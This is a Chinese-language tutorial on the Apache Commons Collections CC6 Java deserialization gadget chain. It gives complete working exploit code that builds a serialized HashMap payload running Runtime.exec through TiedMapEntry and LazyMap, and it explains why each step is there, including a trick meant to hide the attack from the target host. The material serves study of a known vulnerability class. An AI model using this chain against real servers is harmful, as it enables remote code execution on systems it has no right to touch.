CC6
CC6可以在jdk8高版本也能攻击成功,可以说是CC链里面相对最好的一条了。由于AnnotationInvocationhandler
无法使用,这次的新朋友是TiedMap
。
源码
package org.cc;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class },new String[] {"calc" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap=new HashMap();
Map outerMap= LazyMap.decorate(innerMap,transformerChain);
TiedMapEntry tme=new TiedMapEntry(outerMap,"keykey");
Map expMap=new HashMap();
expMap.put(tme,"valuevalue");
outerMap.remove("keykey");
// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}
与CC1大差不差的部分
Transformer[] fakeTransformers = new Transformer[] {new
ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class },new String[] {"calc" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap=new HashMap();
Map outerMap= LazyMap.decorate(innerMap,transformerChain);
这里首先是创建一个fakeTransformers,目的是防止我们在序列化生成payload的过程中误触发命令执行(毕竟java题经常需要反弹shell,误触发了就把自己机子弹上去了),之后会再传入真正的恶意Transformer[]。
链子的末尾多了一个ConstantTransformer(1)
,是实战中让链子最后返回一个其他的报错,防止目标主机察觉到攻击。
TiedMapEntry
TiedMapEntry tme=new TiedMapEntry(outerMap,"keykey");
Map expMap=new HashMap();
expMap.put(tme,"valuevalue");
这一部分就非常有趣了。我们的目标是什么?是想办法触发outerMap
的get()
方法。
TiedMapEntry
类的原本作用是把一个键值对和它所属的Map绑定在一起。这样你通过调用TiedMapEntry
类的方法修改这个键值对时,被绑定的Map里的内容也会一并被修改。(如果没有这个类,单纯用map.entry()取出键值对再修改是不会影响原本的Map的)
CC6的入口点
oos.writeObject(expMap);
Object o = ois.readObject();
入口点是hashMap#readObject
,然后会对key做一次hash()
putVal(hash(key), key, value, false, false);
hash()
->hashcode()
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
回到TiedMapEntry
那么对TiedMapEntry
做hashcode()
会发生什么呢?
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
跟进getvalue()
public Object getValue() {
return map.get(key);
}
就能看到我们需要的get了!
所以这里的利用链就是
expmap.readObject() ->
tme.hashcode() ->
outmap.get() -> ...
也就是说HashMap
在反序列化的时候会对它的键(TiedMapEntry
)计算一次哈希,tme在做哈希的时候也会对自己的键(LazyMap
)做一次get()
取值,从而触发Transformer
。
失败了?!
如果我们在以上的基础上直接把恶意Transformer
设置进来并反序列化,是无法成功的
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
为什么呢?罪魁祸首就在这个put里
expMap.put(tme,"valuevalue");
来看到HashMap
的put方法:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
在put的时候就直接为它的键计算了一次哈希,这里和我们反序列化的入口点是一样的,直接触发了一次链子。
然后我们再看到链子里的LazyMap
的get部分:
//LazyMap:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
在键不存在的时候会调用一次我们构造好的transform
并把如此生成的键值对写入LazyMap中,所以第二次再调用这条链子的时候,由于链子已经被写入keykey的键了,再次触发get就不会触发transform
。
解决方案
既然在expmap.put
的时候不小心把链子触发了一次写入了键值对,那我们把他再手动删掉就可以了
outerMap.remove("keykey");
自此CC6链的构建就完成了。